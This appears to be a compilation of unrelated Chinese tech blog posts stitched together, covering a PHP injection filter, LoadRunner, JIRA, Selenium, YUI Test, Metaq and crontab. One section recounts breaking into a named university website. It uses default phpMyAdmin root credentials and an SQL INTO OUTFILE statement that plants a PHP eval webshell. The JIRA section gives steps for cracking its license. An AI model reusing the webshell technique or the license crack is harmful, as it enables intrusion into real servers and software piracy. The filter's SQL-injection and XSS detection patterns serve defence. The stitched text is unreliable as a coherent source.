注入漏洞代码和分析
代码如下:
<?php function customerror($errno, $errstr, $errfile, $errline) { echo <b>error number:</b> [$errno],error on line $errline in $errfile<br />; die(); } set_error_handler(customerror,e_error); $getfilter='|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|< \\s*script\\b|\\bexec\\b|union.+?select|update.+?set|insert \\s+into.+?values|(select|delete).+?from|(create|alter|drop|truncate) \\s+(table|database); $postfilter=\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/ \\*.+?\\*\\/|<\\s*script\\b|\\bexec \\b|union.+?select|update.+?set|insert\\s+into.+?values| (select|delete).+?from|(create|alter|drop|truncate)\\s+(table|database); $cookiefilter=\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/ \\*.+?\\*\\/|<\\s*script\\b|\\bexec \\b|union.+?select|update.+?set|insert\\s+into.+?values| (select|delete).+?from|(create|alter|drop|truncate)\\s+(table|database); function stopattack($strfiltkey,$strfiltvalue,$arrfiltreq) { if(is_array($strfiltvalue)) { $strfiltvalue=implode($strfiltvalue); } if (preg_match(/.$arrfiltreq./is,$strfiltvalue)==1&&!isset($_request['securitytoken'])) { slog(<br><br>操作ip: .$_server[remote_addr].<br>操作时间: .strftime(%y-%m-%d %h:%m:%s).<br>操作页面:.$_server[php_self].<br>提交方式: .$_server[request_method].<br>提交参数: .$strfiltkey.<br>提交数据: .$strfiltvalue); print result notice:illegal operation!; exit(); } } foreach($_get as $key=>$value) { stopattack($key,$value,$getfilter); } foreach($_post as $key=>$value) { stopattack($key,$value,$postfilter); } foreach($_cookie as $key=>$value) { stopattack($key,$value,$cookiefilter); } function slog($logs) { $toppath=log.htm; $ts=fopen($toppath,a+); fputs($ts,$logs.\r\n); fclose($ts); } ?> |
sql
分析
如果使用这个函数地话,这个函数会绕开php地标准出错处理,所以说的自己定义报错处理程序(die()).
其次,如果代码执行前就发生了错误,那个时候用户自定义地程序还没有执行,所以就不会用到用户自己写地报错处理程序.
那么,php里有一套错误处理机制,可以使用set_error_handler()接管php错误处理,也可以使用trigger_error()函数主动抛出一个错误.
set_error_handler()函数设置用户自定义地错误处理函数.函数用于创建运行期间地用户自己地错误处理方法.它需要先创建一个错误处理函数,然后设置错误级别.
关于地用法:
代码如下:
function customerror($errno, $errstr, $errfile, $errline) { echo <b>错误代码:</b> [${errno}] ${errstr}\r\n; echo 错误所在地代码行: {$errline} 文件{$errfile}\r\n; echo php版本 ,php_version, ( , php_os, )\r\n; // die(); } |
set_error_handler(customerror,e_all| e_strict);
在这个函数里,可以做任何要做地事情,包括对错误地详情进行格式化输出,记入log文件.
代码如下:
function slog($logs) { $toppath=log.htm; $ts=fopen($toppath,a+); fputs($ts,$logs.\r\n); fclose($ts); } |
自定义地错误处理函数一定要有这四个输入变量$errno、$errstr、$errfile、$errline.
errno是一组常量,代表错误地等级,同时也有一组整数和其对应,但一般使用其字符串值表示,这样语义更好一点.比如e_warning,其二进制掩码为4,表示警告信息.
接下来,就是将这个函数作为回调参数传递给set_error_handler.这样就能接管php原生地错误处理函数了.要注意地是,这种托管方 式并不能托管所有种类地错误,如e_error、e_parse、e_core_error、e_core_warning、 e_compile_error、e_compile_warning,以及e_strict中地部分.这些错误会以最原始地方式显示,或者不显示.
stopattack()函数是将传递过来地post、get、cookie进行正则表达式和调用slog()写入log文件.
代码如下:
$exec_commond = ( \\s|\\s)*(exec(\\s|\\+)+(s|x)p\\w+)(\\s|\\s)*; $simple_xss = ( \\s|\\s)*((%3c)|<)((%2f)|/)*[a-z0-9%]+((%3e)|>)(\\s|\\s)*; $eval_xss = ( \\s|\\s)*((%65)|e)(\\s)*((%76)|v)(\\s)*((%61)|a)(\\s)*((%6c)|l)(\\s|\\s)*; $image_xss = ( \\s|\\s)*((%3c)|<)((%69)|i|i|(%49))((%6d)|m|m|(%4d))((%67)|g|g|(%47))[^\\n]+((%3e)|>)(\\s|\\s)* ; $script_xss = ( \\s|\\s)*((%73)|s)(\\s)*((%63)|c)(\\s)*((%72)|r)(\\s)*((%69)|i)(\\s)*((%70)|p)(\\s)*((%74)|t)(\\s|\\s)*; $sql_injection = ( \\s|\\s)*((%27)|(')|(%3d)|(=)|(/)|(%2f)|(\)|((%22)|(-|%2d){2})|(%23)|(%3b)|(;))+(\\s|\\s)*; |
hp遇到错误时,就会给出出错脚本地位置、行数和原因,有很多人说,这并没有什么大不了.但泄露了实际路径地后果是不堪设想地,对于某些入侵者,这 个信息可是非常重要,而事实上现在有很多地服务器都存在这个问题. 有些网管干脆把php配置文件中地 display_errors 设置为 off 来解决,但本人认为这个方法过于消极.有些时候,我们地确需要php返回错误地信息以便调试.而且在出错时也可能需要给用户一个交待,甚至导航到另一页 面.但是有了set_error_handler()之后,这些矛盾也都可以解决掉了.
最近再做一个跟海量存储相关的项目
测试,需要通过LR模拟用户大量上传和下载文件,请求是Rest或Soap,同时还要模拟多种大小尺寸不一的文件
通常情况下,都是使用简单的post协议即可:
方法一:
web_submit_data("importStudent.do", "Action=https://testserver/console/importStudent.do", "Method=POST", "EncType=multipart/form-data", "RecContentType=text/html", "Referer=https://testserver/console/displayStudentList.do", "Snapshot=t12.inf", "Mode=HTTP", ITEMDATA, "Name=uploadFile", "Value=D://Excel//data161955.zip", "File=yes", ENDITEM, LAST); |
后续对上传的文件进行MD5值比较,发现不一致,仔细查看后,发现上传的文件内容被loadrunner添加了几行额外的值,content-type等,无奈下,重写读文件的方式,我通过如下程序实现了1到10M文本文件的上传,如果上传二进制文件,body的写法有变化:
方法二:
vuser_init() { char fileName[] = "D:/Script/CreateObj_10M/tools.zip"; int len = 0; int readLen=0; int tmpLen=1; int runLen =104857; int cLen = 0; if ( (file_stream = fopen(fileName, "rb")) == NULL) { lr_message("open file failed!\n"); return -1; } fseek(file_stream, 0, 2); len = ftell(file_stream); lr_message("file length is: %d bytes", len); readbuf = (char *) malloc(len+1); memset(readbuf, 0, len+1); if ( runLen > len) { runLen = len; } fseek(file_stream, 0, 0); while(feof(file_stream)== 0){ tmpLen = fread(readbuf + readLen, 1,runLen , file_stream); readLen += tmpLen; cLen = readLen + runLen; if (cLen > len) { runLen = cLen - len; } if (tmpLen==0) { break; } } |
//关闭文件句柄 fclose(file_stream); //保存参数 lr_save_string(readbuf,"bodys"); } Action() { lr_start_transaction("CreateObj_1M"); web_add_header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8.."); web_add_header("Content-Type", "text/plain; charset=UTF-8"); web_add_header("Authorization", "YWS {userkey}:XXXXXXX"); web_custom_request("CreateObj", "URL=http://smartstorage{id}.yoyoyws.com:38080/test00bucket00/{IterationNum}-10M", "Method=PUT", "TargetFrame=", "Resource=0", "RecContentType=application/xml", "Referer=", "Mode=HTML", "Body={bodys}", //如果是二进制文件,可以改成BodyBinary LAST ); returnCode = web_get_int_property(HTTP_INFO_RETURN_CODE); if ( returnCode!=201 ) { lr_end_transaction("CreateObj_1M",LR_FAIL); }else{ lr_end_transaction("CreateObj_1M",LR_PASS); } return 0; } |
但是这个程序依然有问题,当打开是二进制文件,或者文件内容过大的时候,依然会出现文件内容不一致的问题,我后续试验后,会持续更新。
由于我们的项目缺少一个bug管理系统,刚好以前用过jira,感觉很不错,就安装一个用用了,下面是安装步骤,参考了一些网上的教材,特此表示感谢。
1.系统环境
系统环境为ubuntu10.04+mysql5.1.14+jdk1.6
2.文件准备
由于jira是用
java写的,jdk当然是比不可少了;我用的是mysql数据库,所以mysql也是需要安装的,安装时注意修改编码为utf-8,后面我们会提到。
jira现在最新的版本为4.2,可以到jira官方网站去下载,可以免费试用30天;当然,如果您喜欢,您也可以去破解。
3.安装过程
(1)在/usr/local下新建一个文件夹jira,然后在jira文件夹下建立jira_home文件夹
(2)复制下载后的文件atlassian-jira-enterprise-4.2-standalone.tar.gz到/usr/local/jira目录下并解压(tar xf at*.gz)
(3)安装mysql,并修改/etc/mysql/my.cnf文件,在[mysql]和[mysqld]下分别增加一句:default-character-set=utf8
(4)通过mysql -u root -p 命令登入mysql,创建数据库jiradb,操作命令为 create database jiradb character set 'utf8'
(5)创建用户jira,操作命令为 grant all privileges on jiradb.* to 'jira'@'%' identified by 'jira'
(6)进入/usr/local/jira/atlassian-jira-enterprise-4.2-standalone/目录,编辑conf文件夹下的
server.xml,找到如下内容并修改:
<Resource name="jdbc/JiraDS" auth="Container" type="javax.sql.DataSource" driverClassName="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost/jiradb?useUnicode=true&characterEncoding=UTF8" username="jira" password="jira" maxActive="20" validationQuery="SELECT 1" /> |
(7)进入 /usr/local/jira/atlassian-jira-enterprise-4.2-standalone/atlassian-jira/目录,分别执行如下操作:
编辑/WEB-INF/classes目录下的jira-application.properties文件,修改jira.home =/usr/local/jira/jira_home
编辑/WEB_INF/classes目录下的entityengine.xml文件,将<datasource name= "defaultDS" field-type-name= "hsql" 中的hsql改为"mysql",并删除
schema-name="PUBLIC"
4.破解
下载licence文件 http://files.cnblogs.com/flyingzl/jira_licence.rar并 覆盖/usr/local/jira/atlassian-jira-enterprise-4.2-standalone/目录
5.启动jira
进入/usr/local/jira/atlassian-jira-enterprise-4.2-standalone/bin,执行./catalina.sh run
6.访问jira
打开浏览器,输入http://localhost:8080/就能看到jira的主页面了。在首页会看到你的ServerID,比如ServerID为BL7M-KJJC-06XD-R275,那么拷贝如下licence:
Description=JIRA\: COMMERCIAL CreationDate=2010-11-04 ContactName=flyingzl@gmail.com jira.LicenseEdition=ENTERPRISE ContactEMail=flyingzl@gmail.com Evaluation=false jira.LicenseTypeName=COMMERCIAL jira.active=true licenseVersion=2 MaintenanceExpiryDate=2011-10-24 Organisation=flyingzl jira.NumberOfUsers=-1 ServerID=BL7M-KJJC-06XD-R275 LicenseID=LID LicenseExpiryDate=2011-10-24 PurchaseDate=2010-11-04 |
在Selenium的基本语法中首先是需要定位到页面元素的,Selenium通过找寻到界面元素然后触发相应的时间,通过页面元素变化判断是否执行了相应的操作。
可以通过页面元素的属性获取相应的页面元素。
1.通过Identifier(id)定位元素
所给出的定位的HTML元素必须要有identifier,如果没有就会报告未找到相应元素的错误。通过ID来标识可以确定唯一性。
WebElement ele = By.id("idName");
只有当你明确知道元素的id属性,才能使用。
2.通过Name定位元素
使用id定位元素固然方面,但是id并不是html元素必须的,我们可以使用Name定位元素位置。
使用Name定位元素的位置,会匹配第一个与Name匹配的元素。如果页面中有多个相同的Name,可以使用更多的筛选器进行元素筛选的细化。
WebElement ele = By.Name("name");
只有明确知道原属的那么,才能使用。
3.通过Xpath定位元素
在一些情况下无法得知页面元素的id和name,还可以使用xpath从已知节点开始定位相应的元素。
绝对路径进行定位 xpath=/html/body/form[1]
通过元素的相应属性定位例如xpath=//form[@id='loginForm'] 表示从根节点开始查找一个form元素她包含一个属性是id并且里面的值为loginForm
找到某一个元素下相应的子元素 xpath=//form[input/@name='username'] 找到Form表单下面的input元素并且该元素有一个属性name且该name的值是username。
找到第一个指定的元素 xpath=//input[@name='username'] 扎到第一个input元素里面有一个name属性并且该属性值为username
还可以使用更加细分的查找 xpath = //input[@name='continue'][@type='button'] 找到input标签,1.该标签有一个name=continue属性和type=button属性的元素。
4.通过连接定位元素
WebElement ele = By.LinkText("xxxx");
当知晓相应的链接类容就可以定位到相应的元素。
5.通过DOM元素定位元素
DOM元素是HTML的基本元素,而且只有dom定位可以直接通过document
dom=document.getElementById('loginForm') dom=document.forms['loginForm'] dom=document.forms[0] document.forms[0].username document.forms[0].elements['username'] document.forms[0].elements[0] document.forms[0].elements[3] |
6.通过tagName,通过标签名称进行定位
List<WebElement> eles = By.TagName("tagname");
在一个页面中相同的tag标签太多了,如果仅适用单个tagname查询会找到一个列表。
7.通过Css进行定位(Cascading Style Sheets)
css=form#loginForm css=input[name="username"] css=input.required[type="text"] css=input.passfield css=#loginForm input[type="button"] css=#loginForm input:nth-child(2) |
二、Selenium错误现场保存方法(截屏和记录日志)
知晓了如何定位元素,我们就可以触发页面上相应的BOM事件了。
那么当执行页面响应的自动化操作的时候发生了错误我们应该怎样才能更好的记录相应的错误呢?记录Log日志和保存相应的屏幕错误信息。
1.首先记录log日志,可使用为java量身定做的log4j进行日志记录(我的另外一篇Log4j如何实现日志分模块,分天,分错误级别进行记录)
2.截取错误发生时的屏幕,这样就可以很快的定位错误发生前的操作和错误发生时的错误信息了。
分享一段执行截屏的java代码。
/*截屏操作,遇到错误自动截屏存储到指定位置。 * 指定保存的路径,然后通过 TakesScreenshot 的 getScreenshotAs进行截屏操作。 * WebElement 继承 TakesScreenshot 这个最大能耐焊好的基于了浏览器,返回当前的状态 * ——整个当前的HTML元素内容 * ——可视化部分的HTML元素 * */ public static void captureScreenshot(String arg0,WebDriver driver){ if(PrivateDataSource.Debug){ logger.debug("调试截图功能,并把截图存储到:"+PrivateDataSource.screenshotsResultsPath); } String screenshotsResultsPath=PrivateDataSource.screenshotsResultsPath; String imagePath = screenshotsResultsPath + File.separator+arg0+"_" +arg0+".png"; File screenShotFile = ((TakesScreenshot)driver).getScreenshotAs(OutputType.FILE); try { org.apache.commons.io.FileUtils.copyFile(screenShotFile, new File(imagePath)); } catch (IOException e) { e.printStackTrace(); if(PrivateDataSource.DebugError){ logger.info( logger.getClass().getName()+" selenium输出截图功能失败。以下是错误信息!"); logger.error(e.getStackTrace()); } } } |
三、Selenium浏览器兼容性测试
1.向浏览器注入一段可执行的JavaScript脚本
在很多情况下我们需要程序触发一段JavaScript脚本,首先我们需要注册相应的JavaScript到浏览器中然后触发执行。
WebElement ele = driver.findElement(By.id("SubMenu7").xpath("//table/tbody/tr[9]"));//定位Web页面的元素 //((JavascriptExecutor)driver).executeScript("arguments[0].onclick=function(){alert('js has been execute!');}", ele);//为这个元素添加可执行的js ((JavascriptExecutor)driver).executeScript("arguments[0].onclick=function(){SelectMenu(this,'AirLineSeasonManage.aspx?TimeStamp=' + TimeStamp());}", ele);//为这个元素添加可执行的js ele.click(); |
以上代码首先找到相应的元素
然后向相应的元素里面注入一段可执行脚本
最后点击该元素执行这个JavaScript脚本。
2.IE浏览器运行注意点
首先需要下载一个IEDriverServer.exe工具然后放置在任意位置,记录相应的存放path
设置浏览器启动路径System.setProperty("webdriver.ie.driver", "存放IEDriverServer.exe的path");
启动程序开始执行
3.Chrome浏览器运行注意点
首先需要下载一个chromedriver.exe模拟Chrome浏览器的工具,放在任意位置,记录相应的存放path
设置浏览器启动路径System.setProperty("webdriver.chrome.driver", "存放chromedriver.exe的path");
启动程序开始执行
4.FireFox浏览器中运行注意点
直接安装了FireFox浏览器,并且Selenium对FireFox有非常好的支持,所以不需要下载其余的模拟器进行执行验证。
如果你的FireFox没有默认安装,即改变了默认的安装路径需要设定运行变量,不然FireFox不会被正常启动的。
System.setProperty("webdriver.firefox.bin", "FireFox的安装路径");
启动程序开始执行
我搭建的是JIRA6.1.5,使用的是
JIRA免安装包,解压后经过以下三步可以成功运行。
二、设置JIRA_HOME工作目录
三、解压JIRA下载包,然后./bin/start-jira.sh启动jira。
以上详细步骤在我的文章
Linux 下安装、配置、汉化JIRA6.1.5中有详细的说明。
我用网上找的在/etc/init.d/rc.local文件中加./**/start-jira.sh服务进程是启动的了,但是无法正常
在启动过程中出现了错误,进入atlassian-jira6.1.5-standalone/bin目录,重新启动JIRA
#./start-jira.sh
JIRA服务器可以正常使用,但是还是没有完成开机自启动。
然后就在网上找了别的方法,编写JIRA的启动脚本。
在/etc/init.d/目录中创建JIRA启动脚本
#cd /etc/ini.d/
#vim jira
以下是JIRA启动脚本的内容
------------------------------------------------------------------------------------------------------------------------- #!/bin/bash #chkconfig: 2345 85 15 # description: jira # processname: jira # source function library . /etc/init.d/functions #把JAVA的环境变量配置也加进来 JAVA_HOME=/usr/lib/jvm/java-6-openjdk-amd64 CLASSPATH=.:$CLASSPATH:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/mysql-connector-java-5.1.29-bin.jar:$JAVA_HOME/lib/classes12.jar PATH=$PATH:$JAVA_HOME/bin:$JAVA_HOME/jre/bin export JAVA_HOME PATH CLASSPATH JIRA_HOME=/home/jira_workhome/work_home export JIRA_HOME #这一行为JIRA的安装路径(主目录),我的是直接 在/home/jira_workhome里面解压的。 Jira=/home/jira_workhome/atlassian-jira-6.1.5-standalone startup=$Jira/bin/startup.sh shutdown=$Jira/bin/shutdown.sh #export JAVA_HOME=/usr/lib/jvm/java-6-openjdk-amd64 #每次非正常关机后,启动的时候都需要将$Jira_Home中的.jira-home.lock文件删除,否则启动的时候会报错。 .jira-home.lock是一个锁文件,是为了保护jira安全的。 rm -rf /home/jira_workhome/work_home/.jira-home.lock start() { echo -n $"Starting jira services: " $startup RETVAL=$? echo } stop() { echo -n $"Shutting down jira services: " $shutdown RETVAL=$? echo } case "$1" in start) start ;; stop) stop ;; restart|reload) stop start ;; status) status jira RETVAL=$? ;; *) echo $"Usage: $0 {start|stop|restart|status}" exit 1 esac exit $RETVAL ------------------------------------------------------------------------------------------------------------------------------------------------- |
然后保存退出。
利用
#chkconfig --add jira
添加服务
我用的DEBIAN7没有这个工具,如果没有,则先安装
#aptitude install chkconfig
然后执行上一步骤 。
这步完成后就可以使用
#/etc/init.d/jira start/stop/restart
来启动和暂停JIRA服务了。
使用
#chkconfig --list | grep jira 来查看JIRA服务是否启动
你可能会发现在每个级别都是处于off 状态的。
使用以下命令在2-5级别开启jira服务。
#chkconfig -s jira on
两次使用
#chkconfig --list | grep jira 来查看JIRA服务的状态
重启后JIRA服务已经启动
#reboot
今天朋友在入侵织梦的网站系统,通过最新的Exp获得了织梦后台的账号和密码
账号:admin
密码:abc123456
但是,找来找去找不到后台,就让我提权试试。
我看了下:http://pxc.ncist.edu.cn/dede/
后台被删除了!怎么办??
google hack也没找到后台
后来,我试了试这个网站:http://zsjy.ncist.edu.cn/phpmyadmin
输入默认MySql账号与密码:
账号:root
密码:root
居然进去了:
接下来就是phpmyadmin提权了:
我的思路是:
1.先爆出php服务器www的路径
2.然后通过将php一句话插入
数据库再导出到www路径
通过google hack爆到路径:D\www\
呵呵,接下来就执行sql语句:
CREATE TABLE `mysql`.`xss` (`xss1` TEXT NOT NULL ); INSERT INTO `mysql`.`xss` (`xss1` ) VALUES ('<?php @eval($_POST[milantgh])?>'); SELECT xss1 FROM `mysql`.`xss` INTO OUTFILE 'd:/www/x.php'; |
这段sql意思是:
1.在mysql数据库中建一张表叫xss,在xss表中生成一个field(字段)叫xss1
2.将php一句话木马插入数据库中的xss1字段处
3.将数据库中xss1字段的内容导出到d:\www\x.php文件中
这下,通过chopper连接x.php小马得到
shell:
测试在
软件开发中至关重要,目前针对不同的开发语言,都有比较成熟的测试框架,如jUnit,cUnit,cppUnit,nUnit等,我们统称为xUnit,他们的都遵守统一的规则:
针对代码测试
断言
启动测试
结果生成,结果上报
Javascript的
自动化测试一直以来都是一个比较头疼的问题,对于javascript,目前也有比较规范的测试框架,如Qunit,YUI
Test,JSTestDriver等,他们也各有其特点及使用范围
Quint是jQuery团队用它来对JQuery库进行
单元测试的,需要下载quit.css和qunit.js文件。
YUI Test开发的初衷也是开发对于为了对YUI进行单元测试,需要使用test,console等模块。
JSTestDriver能够在多个浏览器中从命令行运行javaScript。JSTD带有一个JAR文件,它可以让您启用服务器,捕获一个或多个浏览器并在这些浏览器中进行测试。
这里主要介绍一下YUI Test以及一些使用心得,我们看一下YUI对它的官方描述:While not a direct port form any specific xUnit framework, YUI Test does derive some characteristics form nUnit and jUnit,即它不是直接用的xUnit框架,但是确实会从nUint和jUnit派生出一些特性,怎么理解呢,就是说他的一些特性也是遵从xUnit的,下面看YUI Test的一些特性:
Rapid creation of test cases through simple syntax-使用简单的语法快速创建
测试用例 Advanced failure detection for methods that throw errors.- 对于抛出错误的方法有先进的错误监测
Grouping of related test cases using test suites.- 对相关的测试用例使用测试套件分组
Mock objects for writing tests without external dependencies.- 使用mock(虚假)对象从而避免外部依赖
Asynchronous tests for testing events and Ajax communication.- 针对事件以及ajax通讯的异步测试
DOM Event simulation in all A-grade browsers-在所有的A级浏览器中的事件模拟
YUI Test的测试用例编写过程也比较简单:
引用YUI框架
引用模块test,console(or test-console),test-console可用来分类展示,可分为info,pass,fail,status等,展示更加直观,但是只有在3.5版本以上才有
编写测试用例
我们看一个简单的例子
YUI({logInclude : { TestRunner: true }}).use("test", "test-console", "console", function (Y) { var Test = { drawConsole : function(){ var console = new Y.Test.Console({ newestOnTop : false, filters: { pass: true, fail: true, info: true } }); console.render('#testLogger'); }, testBegin : function(){ var testCase1 = new Y.Test.Case({ name : "Data Tests", setUp : function(){ this.data = { name : "test", year : 2007, beta : true }; }, tearDown : function(){ if(this.data){ delete this.data; } }, testName: function(){ var assert = Y.Assert; assert.isObject(this.data); assert.isString(this.data.name); assert.areEqual("test", this.data.name); }, testYear : function(){ var assert = Y.Assert; assert.isObject(this.data); assert.isNumber(this.data.year); assert.areEqual(2007, this.data.year); assert.areEqual("2007", this.data.year); assert.areSame(2007, this.data.year); assert.areSame("2007", this.data.year); }, testBeta : function(){ var assert = Y.Assert; assert.isObject(this.data); assert.isBoolean(this.data.beta); assert.isTrue(this.data.beta); } }); var testCase2 = new Y.Test.Case({ name : "Array Tests", setUp : function () { this.data = [0, 1, 2, 3, 4]; }, tearDown : function () { if(this.data){ delete this.data; } }, testPop : function () { var Assert = Y.Assert; var value = this.data.pop(); Assert.areEqual(4, this.data.length); Assert.areEqual(4, value); }, testPush : function () { var Assert = Y.Assert; this.data.push(5); Assert.areEqual(6, this.data.length); Assert.areEqual(5, this.data[5]); }, testSplice : function () { var Assert = Y.Assert; this.data.splice(2, 1, 6, 7); Assert.areEqual(6, this.data.length); Assert.areEqual(6, this.data[2]); Assert.areEqual(7, this.data[3]); } }); var testSuite = new Y.Test.Suite("Example Suite"); testSuite.add(testCase1); testSuite.add(testCase2); Y.Test.Runner.add(testSuite); Y.Test.Runner.run(); }, init : function(){ this.drawConsole(); this.testBegin(); } } Test.init(); }); |
其中,Y.Test.Case用来生成一个测试用例,而Y.Test.Suite是一个测试集,可以add多个测试用例,Y.Test.Runner用来生成一个测试实例对象,调用其run方法即可开始测试。
Y.Test.Case需要接纳一个object对象作为参数,包含如下属性及方法
Name(用例的名称)
setUp(用于在所有测试方法执行之前执行,初始化一些变量信息等)
tearDown(用户在每个测试方法执行完毕之后,清除变量,释放内存等)
testMethod1(具体的测试方法)
testMethod2(具体的测试方法)
PS:对于setUp及tearDown的理解,setUp在每个测试方法运行之前都会被重新执行,重新初始化,以此防止原始数据被其它测试方法锁污染。
Y.Assert即断言,是所有xUnit自动化测试框架的核心方法,具体方法使用时可参考官方文档,其实YUI test主要是进行单元测试,对一些核心算法的内部数据结构进行测试,以保证方法的正确性,对界面的测试就需要灵活利用断言来组合测试方法。
测试结果如下:
前面提到,测试结果的收集,上报也是xUnit所必不可少的,同样,YUI test也有这样的功能,在生成TestRunner的时候,为其绑定测试完成事件
testRunner.subscribe(testRunner.COMPLETE_EVENT, Y.bind(this.testCompleteEvent, this)); var testCompleteEvent = function(data){ this.console.log("测试完成了下面是测试结果"); var testRunner = Y.Test.Runner; var resultObj = testRunner.getResults(Y.Test.Format.JSON); this.console.log(resultObj); resultObj = testRunner.getResults(Y.Test.Format.XML); this.console.log(resultObj); resultObj = testRunner.getResults(Y.Test.Format.JUnitXML); this.console.log(resultObj); resultObj = testRunner.getResults(Y.Test.Format.TAP); this.console.log(resultObj); resultObj = testRunner.getResults(); var reporter = new Y.Test.Reporter("https://www.tenpay.com/report.cgi", Y.Test.Format.JSON); reporter.report(resultObj); } |
给Reporter对象指定上报的url以及数据格式即可,注释中内容表示可以在console中或者上报日志中使用多种格式,有兴趣的可以尝试一下
2,下载https://github.com/killme2008/Metamorphosis/tree/metamorphosis-all-1.4.6.2,如果不想自己编译可以直接下载http://fnil.net/downloads/index.html,我这里选择自己编译,主要是以后如果出现问题自己可以修改其源码,重新编译
3,maven编译,maven环境自己搜索配置好,下载all项目后需要编译其子项目metamorphosis-server-wrapper。dos环境进入其目录下mvn eclipse:eclipse,完成后导入到eclipse,用eclipse插件编译。或者直接dos该目录下执行mvn clean install -Dmaven.test.skip=true。完成后target目录下生产其jar包;
可以在工程创建lib文件夹,输入以下命令:mvn dependency:copy-dependencies -DoutputDirectory=lib (不加DoutputDirectory会默认输出到targed/dependency下)。再把install的jar包也copy到lib下。
4,完成编译后上传到服务器
需要修改conf/server.ini文件
[system]brokerId=2 numPartitions=1 serverPort=8123 ashboardHttpPort=8120 unflushThreshold=0 unflushInterval=10000 maxSegmentSize=1073741824 maxTransferSize=1048576 deletePolicy=delete,168 deleteWhen=0 0 6,18 * * ? flushTxLogAtCommit=1 stat=true dataPath=/data1/metaq/data dataLogPath=/data1/metaq/log [zookeeper] zk.zkConnect=192.168.1.1:2181,192.168.1.2:2181,192.168.1.3:2181 zk.zkSessionTimeoutMs=30000 zk.zkConnectionTimeoutMs=30000 zk.zkSyncTimeMs=5000 ;; Topics section [topic=test] [topic=meta-test] |
集群的话需要修改上面标红部分,brokerId保证每个服务器节点上不一样就行
dataPath,dataLogPath如果自己制定,需要每台服务器mkdir
分发到个节点,在每台节点的bin下都执行metaServer.sh start
需要停止时执行metaServer.sh stop
查看状态sh metaServer.sh status
5,应用例子
package com.test.metaq; import java.util.concurrent.Executor; import com.taobao.metamorphosis.Message; import com.taobao.metamorphosis.client.MessageSessionFactory; import com.taobao.metamorphosis.client.MetaClientConfig; import com.taobao.metamorphosis.client.MetaMessageSessionFactory; import com.taobao.metamorphosis.client.consumer.ConsumerConfig; import com.taobao.metamorphosis.client.consumer.MessageConsumer; import com.taobao.metamorphosis.client.consumer.MessageListener; import com.taobao.metamorphosis.exception.MetaClientException; import com.taobao.metamorphosis.utils.ZkUtils.ZKConfig; public class AsyncConsum { public static void main(String[] args) { final MetaClientConfig metaClientConfig = new MetaClientConfig(); final ZKConfig zkConfig = new ZKConfig(); zkConfig.zkConnect = "192.168.1.1:2181"; metaClientConfig.setZkConfig(zkConfig); MessageSessionFactory sessionFactory = null; try { sessionFactory = new MetaMessageSessionFactory(metaClientConfig); } catch (MetaClientException e) { // TODO Auto-generated catch block e.printStackTrace(); } final String topic = "test"; final String group = "meta-example"; MessageConsumer consumer = sessionFactory.createConsumer(new ConsumerConfig(group)); try { consumer.subscribe(topic, 1024 * 1024, new MessageListener() { public void recieveMessages(Message message) { System.out.println("Receive message " + new String(message.getData())); } public Executor getExecutor() { return null; } }); consumer.completeSubscribe(); } catch (MetaClientException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } |
package com.test.metaq; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import com.taobao.metamorphosis.Message; import com.taobao.metamorphosis.client.MessageSessionFactory; import com.taobao.metamorphosis.client.MetaClientConfig; import com.taobao.metamorphosis.client.MetaMessageSessionFactory; import com.taobao.metamorphosis.client.producer.MessageProducer; import com.taobao.metamorphosis.client.producer.SendResult; import com.taobao.metamorphosis.exception.MetaClientException; import com.taobao.metamorphosis.utils.ZkUtils.ZKConfig; public class Products { public static void main(String[] args) { final MetaClientConfig metaClientConfig = new MetaClientConfig(); final ZKConfig zkConfig = new ZKConfig(); zkConfig.zkConnect = "192.168.1.1:2181"; metaClientConfig.setZkConfig(zkConfig); MessageSessionFactory sessionFactory = null; try { sessionFactory = new MetaMessageSessionFactory(metaClientConfig); } catch (MetaClientException e) { e.printStackTrace(); } MessageProducer producer = sessionFactory.createProducer(); final String topic = "test"; producer.publish(topic); BufferedReader reader = new BufferedReader(new InputStreamReader( System.in)); String line = "qiujinyong"; try { while ((line = reader.readLine()) != null) { SendResult sendResult = producer.sendMessage(new Message(topic, line.getBytes())); if (!sendResult.isSuccess()) { System.err.println("Send message failed,error message:" + sendResult.getErrorMessage()); } else { System.out.println("Send message successfully,sent to " + sendResult.getPartition()); } } } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (MetaClientException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } |
打包test.jar后,传服务器上 java -cp test.jar com.test.metaq.Products 命令行输入message
打包test.jar后,传服务器上 java -cp test.jar com.test.metaq.AsyncConsum 命令行会接收到message
1、测试用例设计无二义性:测试用例的执行路径或执行结果不能出现歧义,不能出现“或”、“可能”等词;
2、测试用例执行结果唯一:一条测试用例的执行路径之后的输出结果只能有一个;
3、测试用例可读性强:测试用例的设计不能将数据与操作结合在一起,使人读起来累赘,不易理解或理解错误;
4、测试用例尽可能的覆盖所有的测试功能点;
测试用例的设计的全面性非常重要,漏测一个功能点,可能引起客户的投诉,严重者需要找回产品。对于入门不久的我来说,现阶段最重要的
学习是提高测试用例设计的能力,理论知识不可少,实际项目中更要注意容易疏忽路径。以后需要提高自己有两方面:一、测试理论的学习;二、编写文档的能力加强。今天的总结就到这。
文件路径: /etc/crontab
文件格式:
PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root HOME=/ # For details see man 4 crontabs # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * command to be executed 29 * * * * root run-parts /testcron >> /testcront |
上面的东西基本不用管。只需要把需要执行的脚本加到最后一行。格式
[html] view plaincopy
mm hh dd mm we user run-parts /dir
开始时时间,之后是执行脚本时使用的用户身份和执行的命令。看网上说的用户可以省略,但是试了试貌似不行。具体的还要再看看。
